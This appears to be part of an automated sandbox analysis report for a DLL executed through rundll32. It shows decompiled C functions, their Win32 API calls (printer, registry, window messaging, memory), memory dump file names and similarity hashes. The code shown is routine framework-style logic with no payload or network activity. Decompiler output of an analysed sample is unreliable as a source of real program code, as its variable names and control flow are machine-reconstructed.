lstrcmpA.KERNEL32(?,?), ref: 1000A70C
OpenPrinterA.WINSPOOL.DRV(?,?,00000000), ref: 1000A71E
DocumentPropertiesA.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 1000A73E
GlobalAlloc.KERNEL32(00000042,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 1000A746
GlobalLock.KERNEL32 ref: 1000A750
DocumentPropertiesA.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000002), ref: 1000A75D
ClosePrinter.WINSPOOL.DRV(?,00000000,?,?,00000000,00000000,00000002), ref: 1000A775

Part of subcall function 10014056: GlobalFlags.KERNEL32(?), ref: 10014061
Part of subcall function 10014056: GlobalUnlock.KERNEL32(?,?,?,1000A4C2,?,00000004,1000146F), ref: 10014073
Part of subcall function 10014056: GlobalFree.KERNEL32 ref: 1001407E

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Global$DocumentLockProperties$AllocCloseFlagsFreeOpenPrinterPrinter.Unlocklstrcmp
String ID:
API String ID: 168474834-0
Opcode ID: c5ddca194c607ea35f329f4eccdab628960a2426db6b20382c350f57d95b32d7
Instruction ID: f32a97280aef975bd063cd01cc2dace1ac46c13f829f9411547ae7bffa227ebc
Opcode Fuzzy Hash: c5ddca194c607ea35f329f4eccdab628960a2426db6b20382c350f57d95b32d7
Instruction Fuzzy Hash: ED11A075500600BBEB22CBBADC89DAF7AFDFB89B807104519F60AD5021DB31DD91DB20

Uniqueness

Uniqueness Score: -1.00%

Function 10013854, Relevance: 12.0, APIs: 8, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10013854(void* __ecx) {
				struct HDC__* _t18;
				void* _t19;

				_t19 = __ecx;
				 *((intOrPtr*)(_t19 + 8)) = GetSystemMetrics(0xb);
				 *((intOrPtr*)(_t19 + 0xc)) = GetSystemMetrics(0xc);
				 *0x1005aa30 = GetSystemMetrics(2) + 1;
				 *0x1005aa34 = GetSystemMetrics(3) + 1;
				_t18 = GetDC(0);
				 *((intOrPtr*)(_t19 + 0x18)) = GetDeviceCaps(_t18, 0x58);
				 *((intOrPtr*)(_t19 + 0x1c)) = GetDeviceCaps(_t18, 0x5a);
				return ReleaseDC(0, _t18);
			}

0x1001385f
0x10013865
0x1001386c
0x10013874
0x1001387e
0x1001388f
0x10013899
0x100138a1
0x100138ad

APIs

GetSystemMetrics.USER32 ref: 10013861
GetSystemMetrics.USER32 ref: 10013868
GetSystemMetrics.USER32 ref: 1001386F
GetSystemMetrics.USER32 ref: 10013879
GetDC.USER32(00000000), ref: 10013883
GetDeviceCaps.GDI32(00000000,00000058), ref: 10013894
GetDeviceCaps.GDI32(00000000,0000005A), ref: 1001389C
ReleaseDC.USER32 ref: 100138A4

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: MetricsSystem$CapsDevice$Release
String ID:
API String ID: 1151147025-0
Opcode ID: db9cd225bf41a8a16edb532eadca07c49390effd78a228ecd5040edfe1a92329
Instruction ID: d97b14313f3971f9b273ebf2d99ed84bfce9517748686708ee6192b13dda979b
Opcode Fuzzy Hash: db9cd225bf41a8a16edb532eadca07c49390effd78a228ecd5040edfe1a92329
Instruction Fuzzy Hash: CEF03071A40714AFFB20AF728CC9F677BA8EB81B51F11491AE6428B6D0D7B59806CF50

Uniqueness

Uniqueness Score: -1.00%

Function 1000BD98, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117
registryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E1000BD98(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, signed int _a264, char _a268) {
				char _v4;
				intOrPtr _v12;
				char* _v16;
				void* _v20;
				char* _v24;
				char _v28;
				long _v32;
				char _v36;
				char _v272;
				char _v280;
				intOrPtr _v292;
				void* __ebp;
				signed int _t40;
				char _t44;
				void* _t47;
				void* _t54;
				char* _t61;
				void* _t77;
				void* _t80;
				void* _t81;
				intOrPtr _t94;
				void* _t98;
				void* _t100;
				void* _t101;
				char* _t104;

				_t95 = __edx;
				_t81 = __ecx;
				_t79 = __ebx;
				_t104 =  &_v272;
				_t40 =  *0x10057a08; // 0xef7d8b91
				_a264 = _t40 ^ _t104;
				_push(0x18);
				E10017BC1(E10027F63, __ebx, __edi, __esi);
				_t100 = __ecx;
				_v20 = 0;
				_v32 = 0;
				_t44 = E1000BB54(__ecx, __edx);
				_v28 = _t44;
				if(_t44 != 0) {
					do {
						__eax =  &_v28;
						_push(__eax);
						__ecx = __esi;
						E1000BB65();
						__eflags = __eax - __edi;
						if(__eax != __edi) {
							__edx =  *__eax;
							__ecx = __eax;
							__eax =  *((intOrPtr*)(__edx + 0xc))(__edi, 0xfffffffc, __edi, __edi);
						}
						__eflags = _v28 - __edi;
					} while (_v28 != __edi);
				}
				__eflags =  *(_t100 + 0x54);
				if( *(_t100 + 0x54) == 0) {
					L15:
					 *[fs:0x0] = _v12;
					_pop(_t98);
					_pop(_t101);
					_pop(_t80);
					_t47 = E100167D5(1, _t80, _a264 ^ _t104, _t95, _t98, _t101);
					__eflags =  &_a268;
					return _t47;
				} else {
					__eflags =  *(_t100 + 0x68);
					__eflags = 0 |  *(_t100 + 0x68) != 0x00000000;
					if(__eflags != 0) {
						_push("Software\\");
						E10009FA3(_t79,  &_v16, 0, _t100, __eflags);
						_v4 = 0;
						E10009F7E(_t79,  &_v16,  *(_t100 + 0x54));
						_push(0x1002a248);
						_push( &_v16);
						_push( &_v36);
						_t54 = E1000BC25(_t79, 0, _t100, __eflags);
						_push( *(_t100 + 0x68));
						_v4 = 1;
						_push(_t54);
						_push( &_v24);
						E1000BC25(_t79, 0, _t100, __eflags);
						_v4 = 3;
						E10009CB7(_v36 + 0xfffffff0, _t95);
						_push( &_v24);
						_push(0x80000001);
						E1000BC89(_t79, 0, 0x80000001, __eflags);
						_t61 = RegOpenKeyA(0x80000001, _v16,  &_v20);
						__eflags = _t61;
						if(_t61 == 0) {
							__eflags = RegEnumKeyA(_v20, 0, _t104, 0x104) - 0x103;
							if(__eflags == 0) {
								_push( &_v16);
								_push(0x80000001);
								E1000BC89(_t79, 0, 0x80000001, __eflags);
							}
							RegCloseKey(_v20);
						}
						RegQueryValueA(0x80000001, _v24, _t104,  &_v32);
						E10009CB7( &(_v24[0xfffffffffffffff0]), _t95);
						__eflags =  &(_v16[0xfffffffffffffff0]);
						E10009CB7( &(_v16[0xfffffffffffffff0]), _t95);
						goto L15;
					} else {
						_push(_t104);
						_push(_t81);
						_v280 = 0x10057298;
						E10017C83( &_v280, 0x1002e2fc);
						asm("int3");
						_push(4);
						E10017BC1(E10027DEC, _t79, 0, _t100);
						_t94 = E10013965(0x104);
						_v292 = _t94;
						_t77 = 0;
						_v280 = 0;
						if(_t94 != 0) {
							_t77 = E1000CF71(_t94);
						}
						return E10017C60(_t77);
					}
				}
			}

APIs

__EH_prolog3.LIBCMT ref: 1000BDB7
RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 1000BE73
RegEnumKeyA.ADVAPI32(?,00000000,00000000,00000104), ref: 1000BE8A
RegCloseKey.ADVAPI32(?,?,?,?,?,Software\,00000018), ref: 1000BEA4
RegQueryValueA.ADVAPI32(80000001,?,?,?), ref: 1000BEB6

Strings

Software\, xrefs: 1000BE0C

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: CloseEnumH_prolog3OpenQueryValue
String ID: Software\
API String ID: 3878845136-964853688
Opcode ID: 7ebb37ec80ad41570234b5e56baee62c3bc695e135d0d4cdd5ea00e84b8678cd
Instruction ID: bb9b01b2753fba5bda47465ad6778d866e06322e4a0b808ca87f46191af68194
Opcode Fuzzy Hash: 7ebb37ec80ad41570234b5e56baee62c3bc695e135d0d4cdd5ea00e84b8678cd
Instruction Fuzzy Hash: 6241AC31900559AFEB11DFA4CC81EFEB7B9EF48390F20052AF552E2294DB74AA45CB61

Uniqueness

Uniqueness Score: -1.00%

Function 1000F6F2, Relevance: 10.6, APIs: 7, Instructions: 115
windowCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E1000F6F2(intOrPtr* __ecx, signed int _a4) {
				struct HWND__* _v4;
				struct tagMSG* _v8;
				int _v12;
				int _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HWND__* _t42;
				struct tagMSG* _t43;
				signed int _t45;
				void* _t48;
				void* _t50;
				int _t53;
				long _t56;
				signed int _t62;
				intOrPtr* _t64;
				intOrPtr* _t67;
				void* _t68;

				_t63 = __ecx;
				_t62 = 1;
				_t67 = __ecx;
				_v12 = 1;
				_v16 = 0;
				if((_a4 & 0x00000004) == 0 || (E10012862(__ecx) & 0x10000000) != 0) {
					_t62 = 0;
				}
				_t42 = GetParent( *(_t67 + 0x20));
				 *(_t67 + 0x3c) =  *(_t67 + 0x3c) | 0x00000018;
				_v4 = _t42;
				_t43 = E1000B519(0);
				_t68 = UpdateWindow;
				_v8 = _t43;
				while(1) {
					L14:
					_t73 = _v12;
					if(_v12 == 0) {
						goto L15;
					}
					__eflags = PeekMessageA(_v8, 0, 0, 0, 0);
					if(__eflags != 0) {
						while(1) {
							L15:
							_t45 = E1000B911(_t63, 0, _t67, _t73);
							if(_t45 == 0) {
								break;
							}
							if(_t62 != 0) {
								_t53 = _v8->message;
								if(_t53 == 0x118 || _t53 == 0x104) {
									E100128D7(_t67, 1);
									UpdateWindow( *(_t67 + 0x20));
									_t62 = 0;
								}
							}
							_t64 = _t67;
							_t48 =  *((intOrPtr*)( *_t67 + 0x80))();
							_t79 = _t48;
							if(_t48 == 0) {
								_t39 = _t67 + 0x3c;
								 *_t39 =  *(_t67 + 0x3c) & 0xffffffe7;
								__eflags =  *_t39;
								return  *((intOrPtr*)(_t67 + 0x44));
							} else {
								_t50 = E1000B82B(_t62, _t64, 0, _t67, _t68, _t79, _v8);
								_pop(_t63);
								if(_t50 != 0) {
									_v12 = 1;
									_v16 = 0;
								}
								if(PeekMessageA(_v8, 0, 0, 0, 0) != 0) {
									continue;
								} else {
									goto L14;
								}
							}
						}
						_push(0);
						E1000A5E4();
						return _t45 | 0xffffffff;
					}
					__eflags = _t62;
					if(_t62 != 0) {
						_t63 = _t67;
						E100128D7(_t67, 1);
						UpdateWindow( *(_t67 + 0x20));
						_t62 = 0;
						__eflags = 0;
					}
					__eflags = _a4 & 0x00000001;
					if((_a4 & 0x00000001) == 0) {
						__eflags = _v4;
						if(_v4 != 0) {
							__eflags = _v16;
							if(_v16 == 0) {
								SendMessageA(_v4, 0x121, 0,  *(_t67 + 0x20));
							}
						}
					}
					__eflags = _a4 & 0x00000002;
					if(__eflags != 0) {
						L13:
						_v12 = 0;
						continue;
					} else {
						_t56 = SendMessageA( *(_t67 + 0x20), 0x36a, 0, _v16);
						_v16 = _v16 + 1;
						__eflags = _t56;
						if(__eflags != 0) {
							continue;
						}
						goto L13;
					}
				}
				goto L15;
			}

APIs

GetParent.USER32(?), ref: 1000F720
PeekMessageA.USER32 ref: 1000F747
UpdateWindow.USER32(?), ref: 1000F761
SendMessageA.USER32 ref: 1000F785
SendMessageA.USER32 ref: 1000F79F
UpdateWindow.USER32(?), ref: 1000F7E5
PeekMessageA.USER32 ref: 1000F819

Part of subcall function 10012862: GetWindowLongA.USER32 ref: 1001286D

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Message$Window$PeekSendUpdate$LongParent
String ID:
API String ID: 2853195852-0
Opcode ID: 1a7b99641fbd6274f08d233d62057ee23ad71d0a046cd1d00a2b03b8b2250d72
Instruction ID: ecef1c15dac149fec5e590ec2565d957468d58fa3f8c06f10f68a2e84cd0c50c
Opcode Fuzzy Hash: 1a7b99641fbd6274f08d233d62057ee23ad71d0a046cd1d00a2b03b8b2250d72
Instruction Fuzzy Hash: 3041C1312087429BE711CF258C88A2BBAF4FFC5BD4F10092DF589928A4DB71D946EB53

Uniqueness

Uniqueness Score: -1.00%

Function 1000AE8A, Relevance: 10.6, APIs: 7, Instructions: 111
windowCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E1000AE8A(int __ebx, long __ecx, struct HWND__* __edi) {
				long _v4;
				char _v28;
				intOrPtr _v40;
				void* __esi;
				void* __ebp;
				long _t20;
				long _t21;
				struct HWND__* _t22;
				long _t23;
				struct HWND__* _t24;
				long _t25;
				struct HWND__* _t26;
				void* _t33;
				void* _t35;
				long _t39;
				long _t41;
				intOrPtr _t43;
				struct HWND__* _t47;
				struct HWND__* _t49;
				long _t51;
				long _t53;

				_t46 = __edi;
				_t39 = __ecx;
				_t37 = __ebx;
				if( *((intOrPtr*)(__ecx + 0x78)) == 0) {
					_t51 = E1000A7CE();
					__eflags = _t51;
					if(_t51 != 0) {
						_t20 =  *((intOrPtr*)( *_t51 + 0x120))();
						__eflags = _t20;
						_t41 = _t51;
						_pop(_t52);
						if(_t20 != 0) {
							_t53 = _t41;
							_t21 =  *(_t53 + 0x64);
							__eflags = _t21;
							if(_t21 == 0) {
								_pop(_t52);
								goto L12;
							} else {
								__eflags = _t21 - 0x3f107;
								if(__eflags != 0) {
									_t35 = E1000D5EC(__ebx, __edi, _t53, __eflags);
									_t21 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t35 + 4)))) + 0xac))( *(_t53 + 0x64), 1);
								}
								return _t21;
							}
						} else {
							L12:
							_push(_t41);
							_push(_t37);
							_push(0);
							_push(_t52);
							_push(_t46);
							_v4 = _t41;
							_t22 = GetCapture();
							_t51 = SendMessageA;
							_t37 = 0x365;
							while(1) {
								_t47 = _t22;
								__eflags = _t47;
								if(_t47 == 0) {
									break;
								}
								_t23 = SendMessageA(_t47, _t37, 0, 0);
								__eflags = _t23;
								if(__eflags != 0) {
									L27:
									return _t23;
								} else {
									_t22 = E10010DA7(_t41, _t47, __eflags, _t47);
									continue;
								}
								goto L33;
							}
							_t24 = GetFocus();
							while(1) {
								_t46 = _t24;
								__eflags = _t46;
								if(_t46 == 0) {
									break;
								}
								_t23 = SendMessageA(_t46, _t37, 0, 0);
								__eflags = _t23;
								if(__eflags != 0) {
									goto L27;
								} else {
									_t24 = E10010DA7(_t41, _t46, __eflags, _t46);
									continue;
								}
								goto L33;
							}
							_t39 = _v4;
							_t25 = E10010DEC(_t37, _t39, _t46);
							__eflags = _t25;
							if(_t25 != 0) {
								_t26 = GetLastActivePopup( *(_t25 + 0x20));
								while(1) {
									_t49 = _t26;
									__eflags = _t49;
									_push(0);
									if(_t49 == 0) {
										break;
									}
									_t23 = SendMessageA(_t49, _t37, 0, ??);
									__eflags = _t23;
									if(__eflags == 0) {
										_t26 = E10010DA7(_t39, _t49, __eflags, _t49);
										continue;
									}
									goto L27;
								}
								_t23 = SendMessageA( *(_v4 + 0x20), 0x111, 0xe147, ??);
								goto L27;
							} else {
								goto L1;
							}
						}
					} else {
						L1:
						_push(0);
						_push(_t39);
						_v28 = 0x10057298;
						E10017C83( &_v28, 0x1002e2fc);
						asm("int3");
						_push(4);
						E10017BC1(E10027DEC, _t37, _t46, _t51);
						_t43 = E10013965(0x104);
						_v40 = _t43;
						_t33 = 0;
						_v28 = 0;
						if(_t43 != 0) {
							_t33 = E1000CF71(_t43);
						}
						return E10017C60(_t33);
					}
				} else {
					__eflags = __eax - 0x3f107;
					if(__eax != 0x3f107) {
						return  *((intOrPtr*)( *__ecx + 0xac))(__eax, 1);
					}
					return __eax;
				}
				L33:
			}

APIs

GetCapture.USER32 ref: 10014232
SendMessageA.USER32 ref: 1001424B
GetFocus.USER32 ref: 1001425D
SendMessageA.USER32 ref: 10014269
GetLastActivePopup.USER32(?), ref: 10014290
SendMessageA.USER32 ref: 1001429B
SendMessageA.USER32 ref: 100142BF

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: MessageSend$ActiveCaptureFocusLastPopup
String ID:
API String ID: 3219385341-0
Opcode ID: ece27361fccefe4c1d9af4d39d412bb8da5438b11630c38f166ec2a3b357e9a2
Instruction ID: 33038f709047c962cd6e8134d606cff9e197d9281aa775ba373aba56dbca1b45
Opcode Fuzzy Hash: ece27361fccefe4c1d9af4d39d412bb8da5438b11630c38f166ec2a3b357e9a2
Instruction Fuzzy Hash: D031E331300256EBE611EB24DC84E6E7AEDEF866D5B630629F841DF160CF71ECC19661

Uniqueness

Uniqueness Score: -1.00%

Function 1000FC8A, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000FC8A(intOrPtr* __ecx) {
				struct HWND__* _v40;
				struct HWND__* _v44;
				intOrPtr _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				long _t43;
				struct HWND__* _t48;
				long _t61;
				intOrPtr* _t63;
				signed int _t64;
				void* _t69;
				intOrPtr _t71;
				intOrPtr* _t72;

				_t72 = __ecx;
				_t69 = E1000B510();
				if(_t69 != 0) {
					if( *((intOrPtr*)(_t69 + 0x20)) == __ecx) {
						 *((intOrPtr*)(_t69 + 0x20)) = 0;
					}
					if( *((intOrPtr*)(_t69 + 0x24)) == _t72) {
						 *((intOrPtr*)(_t69 + 0x24)) = 0;
					}
				}
				_t63 =  *((intOrPtr*)(_t72 + 0x48));
				if(_t63 != 0) {
					 *((intOrPtr*)( *_t63 + 0x50))();
					 *((intOrPtr*)(_t72 + 0x48)) = 0;
				}
				_t64 =  *(_t72 + 0x4c);
				if(_t64 != 0) {
					 *((intOrPtr*)( *_t64 + 4))(1);
				}
				 *(_t72 + 0x4c) =  *(_t72 + 0x4c) & 0x00000000;
				_t83 =  *(_t72 + 0x3c) & 1;
				if(( *(_t72 + 0x3c) & 1) != 0) {
					_t71 =  *((intOrPtr*)(E1000D61F(1, _t64, _t69, _t72, _t83) + 0x3c));
					if(_t71 != 0) {
						_t85 =  *(_t71 + 0x20);
						if( *(_t71 + 0x20) != 0) {
							E100174D0(_t71,  &_v52, 0, 0x30);
							_t48 =  *(_t72 + 0x20);
							_v44 = _t48;
							_v40 = _t48;
							_v52 = 0x28;
							_v48 = 1;
							SendMessageA( *(_t71 + 0x20), 0x405, 0,  &_v52);
						}
					}
				}
				_t61 = GetWindowLongA( *(_t72 + 0x20), 0xfffffffc);
				E1000FAB8(_t61, _t72, GetWindowLongA, _t85);
				if(GetWindowLongA( *(_t72 + 0x20), 0xfffffffc) == _t61) {
					_t43 =  *( *((intOrPtr*)( *_t72 + 0xf0))());
					if(_t43 != 0) {
						SetWindowLongA( *(_t72 + 0x20), 0xfffffffc, _t43);
					}
				}
				E1000FBD6(_t61, _t72);
				return  *((intOrPtr*)( *_t72 + 0x114))();
			}

APIs

_memset.LIBCMT ref: 1000FD17
SendMessageA.USER32 ref: 1000FD40
GetWindowLongA.USER32 ref: 1000FD52
GetWindowLongA.USER32 ref: 1000FD63
SetWindowLongA.USER32(?,000000FC,?), ref: 1000FD7F

Strings

(, xrefs: 1000FD36

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: LongWindow$MessageSend_memset
String ID: (
API String ID: 2997958587-3887548279
Opcode ID: 334c7e26ab9e293c68ecfd01600b3aa59bde0f1c2bd920c06c28c769ee1fcf56
Instruction ID: 83308454b4964f7b832e75e01b7e263ef3bf02c7b32fea1d5a5d450cbed2f8d3
Opcode Fuzzy Hash: 334c7e26ab9e293c68ecfd01600b3aa59bde0f1c2bd920c06c28c769ee1fcf56
Instruction Fuzzy Hash: 2E31B0756006159FEB14EF68C985A6EB7F9FF082D0F15052EE9469BA95EB30F800CB90

Uniqueness

Uniqueness Score: -1.00%

Function 10013E40, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10013E40(intOrPtr __ecx) {
				void* _v8;
				void* _v12;
				void* _v16;
				int _v20;
				intOrPtr _v24;
				intOrPtr _t32;

				_t32 = __ecx;
				_v24 = __ecx;
				_v16 = 0;
				_v8 = 0;
				_v12 = 0;
				if(RegOpenKeyExA(0x80000001, "software", 0, 0x2001f,  &_v8) == 0 && RegCreateKeyExA(_v8,  *(_t32 + 0x54), 0, 0, 0, 0x2001f, 0,  &_v12,  &_v20) == 0) {
					RegCreateKeyExA(_v12,  *(_v24 + 0x68), 0, 0, 0, 0x2001f, 0,  &_v16,  &_v20);
				}
				if(_v8 != 0) {
					RegCloseKey(_v8);
				}
				if(_v12 != 0) {
					RegCloseKey(_v12);
				}
				return _v16;
			}

0x10013e5b
0x10013e62
0x10013e65
0x10013e68
0x10013e6b
0x10013e76
0x10013ead
0x10013ead
0x10013eb8
0x10013ebd
0x10013ebd
0x10013ec2
0x10013ec7
0x10013ec7
0x10013ed0

APIs

RegOpenKeyExA.ADVAPI32(80000001,software,00000000,0002001F,?), ref: 10013E6E
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?), ref: 10013E91
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?), ref: 10013EAD
RegCloseKey.ADVAPI32(?), ref: 10013EBD
RegCloseKey.ADVAPI32(?), ref: 10013EC7

Strings

software, xrefs: 10013E56

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: CloseCreate$Open
String ID: software
API String ID: 1740278721-2010147023
Opcode ID: 274d387f2041077595a9ef0d73c23cf33c700d5c2420ca228f327ec70e6c6d43
Instruction ID: 4673323d0336752e6ce9d3e664aa048b12ff1b48ba7cb76d312e9863fa3d259e
Opcode Fuzzy Hash: 274d387f2041077595a9ef0d73c23cf33c700d5c2420ca228f327ec70e6c6d43
Instruction Fuzzy Hash: 7711B676D00259BBDB11DB9ACD88DDFBFFCEF85740B1040AAA504A2121D2719A55DB60

Uniqueness

Uniqueness Score: -1.00%

Function 10013CEE, Relevance: 10.6, APIs: 7, Instructions: 51
memoryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E10013CEE(void* __ecx, long* __edi, void* __esi) {
				long _t22;
				void* _t23;
				void* _t28;
				void* _t31;
				void* _t33;
				signed int _t35;
				long* _t40;
				void* _t41;
				void* _t42;

				_t41 = __esi;
				_t40 = __edi;
				_t31 = __ecx;
				LeaveCriticalSection( *((intOrPtr*)(_t42 - 0x18)) + 0x1c);
				E10017C83(0, 0);
				_t22 = E100134F9(_t31, 0, __edi[3], 4);
				_t33 = 2;
				_t23 = LocalReAlloc( *(__esi + 0xc), _t22, ??);
				_t46 = _t23;
				if(_t23 == 0) {
					LeaveCriticalSection( *(_t42 - 0x14));
					_t23 = E1000A0A7(0, _t33, __edi, __esi, _t46);
				}
				 *(_t41 + 0xc) = _t23;
				E100174D0(_t40, _t23 +  *(_t41 + 8) * 4, 0, _t40[3] -  *(_t41 + 8) << 2);
				 *(_t41 + 8) = _t40[3];
				TlsSetValue( *_t40, _t41);
				_t35 =  *(_t42 + 8);
				_t28 =  *(_t41 + 0xc);
				if(_t28 != 0 && _t35 <  *(_t41 + 8)) {
					 *((intOrPtr*)(_t28 + _t35 * 4)) =  *((intOrPtr*)(_t42 + 0xc));
				}
				_push( *(_t42 - 0x14));
				LeaveCriticalSection();
				return E10017C60(_t28);
			}

APIs

LeaveCriticalSection.KERNEL32(?), ref: 10013CF5
__CxxThrowException@8.LIBCMT ref: 10013CFF

Part of subcall function 10017C83: RaiseException.KERNEL32(?,?,?,?), ref: 10017CC3

LocalReAlloc.KERNEL32(?,00000000,00000002,00000000,00000010,?,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004), ref: 10013D16
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441,00000000), ref: 10013D23

Part of subcall function 1000A0A7: __CxxThrowException@8.LIBCMT ref: 1000A0BB

_memset.LIBCMT ref: 10013D42
TlsSetValue.KERNEL32(?,00000000), ref: 10013D53
LeaveCriticalSection.KERNEL32(?,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441,00000000), ref: 10013D74

Memory Dump Source

Source File: 00000003.00000002.304032421.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.304028331.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304060636.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.304077938.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.304103291.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304109553.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.304121863.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: CriticalLeaveSection$Exception@8Throw$AllocExceptionLocalRaiseValue_memset
String ID:
API String ID: 356813703-0
Opcode ID: 7dcaef9dd6dc2c20a9afc37e1070812523d3c5c417591cb16522903d097c7fc3
Instruction ID: da2c65ce7076d342f4508b5b0ea9d94b5e5006c79099ef9a6e76071fa7915ca4
Opcode Fuzzy Hash: 7dcaef9dd6dc2c20a9afc37e1070812523d3c5c417591cb16522903d097c7fc3
